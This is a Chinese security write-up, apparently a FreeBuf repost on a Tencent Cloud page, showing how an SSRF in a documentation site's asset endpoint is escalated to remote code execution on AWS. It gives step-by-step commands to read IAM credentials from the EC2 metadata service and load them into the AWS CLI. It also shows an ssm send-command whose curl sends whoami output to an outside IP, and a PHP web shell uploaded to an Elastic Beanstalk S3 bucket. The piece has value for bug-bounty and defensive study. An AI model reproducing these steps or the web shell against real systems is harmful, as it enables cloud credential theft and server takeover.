专栏首页FreeBuf使用SSRF泄漏云环境中的Metadata数据实现RCE

使用SSRF泄漏云环境中的Metadata数据实现RCE

本文我将向大家分享一个新的非常有意思的漏洞。利用该漏洞可以为我们泄漏云环境中的Metadata数据,并进一步的实现远程代码执行(RCE )。

测试范围

在对该站点进行子域枚举时,我找到了[docs.redact.com]这个子域。

查找带外资源加载

[docs]子域名显示了一些文档和统计信息

在点击统计数据的照片时,我看到了一些奇怪的链接:

我想到的第一件事就是将[url]的值改为generaleg0x01.com

然后,我注意到了[mimeType]参数并编辑更改了链接,如下:

https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

到目前为止它只是[带外资源加载]

验证 SSRF

当我查看BurpSuite中的请求/响应时我注意到了响应头[X-Amz-Cf-Id]

所以,当前的环境应该是AWS。

我们需要确保SSRF在这里可以正常利用。正如我们所知,[169.254.169.254]是EC2实例的本地IP地址。

让我们尝试通过导航到[ latest/meta-data/]来访问元数据文件夹。

SSRF被确认。

让我们通过导航到[/latest/meta-data/iam/security-credentials/]来检查我们当前的角色。

可以看到当前为:aws-elasticbeanstalk-ec2-role

什么是 AWS Elastic Beanstalk ?

AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS),用于部署和扩展针对各种环境(如Java,.NET,PHP,Node.js,Python,Ruby和Go)开发的Web应用程序。 它会自动处理部署,容量配置,负载均衡,自动扩展和应用程序运行状况监视。

抓取所需数据

1)转到[/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]

获取[AccessKeyId,SecretAccessKey,Token]

2)转到[/latest/dynamic/instance-identity/document/]

获取[instanceId,accountId,region]

配置 AWS 命令行界面

打开terminal终端:

~# apt install awscli

~# export AWS_ACCESS_KEY_ID=AccessKeyId
~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
~# export AWS_DEFAULT_REGION=region
~# export AWS_SESSION_TOKEN=Token

获取[UserID]

~# aws sts get-caller-identity

SSRF利用得很好,现在让我们进一步的漏洞挖掘,看看能否将其升级为威胁性更大的“RCE”

从 SSRF 到 RCE

我尝试了一些潜在的利用场景。

通过[ssm send-command]发送命令失败

之后我研究尝试使用了AWS Systems Manager [ssm] 命令。

但该角色无权执行此命令。我希望使用aws ssm send-command来实现漏洞升级。

~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region

但显示调用SendCommand操作时发生错误(AccessDeniedException)。

An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx

通过[SSH]升级漏洞同样失败,SSH端口已关闭。

通过[Uploading Backdoor]成功!

尝试读取[S3 Bucket]的内容:

尝试使用AWS CLI运行多个命令从AWS实例检索信息。但由于安全策略的原因,对大多数命令的访问被拒绝。

~# aws s3 ls
An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

经过仔细研究后我发现,托管策略“AWSElasticBeanstalkWebTier”只允许访问名称以“elasticbeanstalk”开头的S3 buckets。

为了访问S3 bucket,我们将使用之前抓取的数据,格式如下:

elasticbeanstalk-region-account-id

现在,bucket名称为“elasticbeanstalk-us-east-1-76xxxxxxxx00”。

让我们以递归方式列出“elasticbeanstalk-us-east-1-76xxxxxxxx00”的bucket资源,我们使用AWS CLI来执行此任务:

~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ –recursive

现在,让我们尝试上传一个后门!

~# cat cmd.php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/

上传:

./cmd.php to s3://docs.redact.com/cmd.php

我们成功将漏洞升级为了RCE!

简而言之

将SSRF升级到RCE的方法很多,但这主要取决于你的目标环境。

*参考来源:generaleg0x01,FB小编secist编译,转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-03-31

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Jfinal学习之路---Controller使用

    JFinal 是基于 Java 语言的极速 WEB + ORM 框架,其核心设计目标是开发迅速、代码量少、学习简单、功能强大、轻量级、易扩展、Restful。在...

    用户5166556
  • WEB 前端插件整理

    #3 Image Preview 图像预览 #4 TODO Highlight 这个插件能够在你的代码中标记出所有的 TODO 注释,以便更容易追踪任何未完成...

    喝茶去
  • 常见的网络攻击有哪些?

    近期的网络攻击有些频繁,晚上凌晨左右一般会接好几个电话,反映的都是不同的网络攻击。有些病毒攻击不在我们的解决范围内,今天墨者安全主要针对DDOS...

    墨者安全筱娜
  • 学习nginx 下面只是简单的配置文件 原

    #error_log  logs/error.log; #error_log  logs/error.log  notice; #error_log  lo...

    克虏伯
  • 如何让vmware中的ubuntu虚拟机全屏显示

    在VMware11中安装了ubuntu kylin14后,ubuntu的界面只是很小的一点,不是全部显示。

    克虏伯
  • 腾讯云CDN开启SSL返回302

    使用腾讯云的CDN,配置好SSL后,开启强制HTTPS,默认是返回302的。但是不开启强制HTTPS,源站配置的HTTPS跳转貌似是无效的(首页)

    主机优惠教程
  • Springboot返回html 原

        整体结构如下图1所示,html要放在static下,不是templates下

    克虏伯
  • Docker之nginx容器中部署静态文件 原

        docker中部署nginx, 然后nginx中部署静态资源文件, 上网搜了下, 觉得的搜到的文章讲的不是很清晰, 所以自己写一篇.

    克虏伯
  • vue路由mode模式:history与hash的区别

    用户5166330
  • linux上安装consul 原

        官网上下载consul,下载地址是https://www.consul.io/downloads.html,根据不同操作系统选中不同的版本。

    克虏伯

扫码关注云+社区

领取腾讯云代金券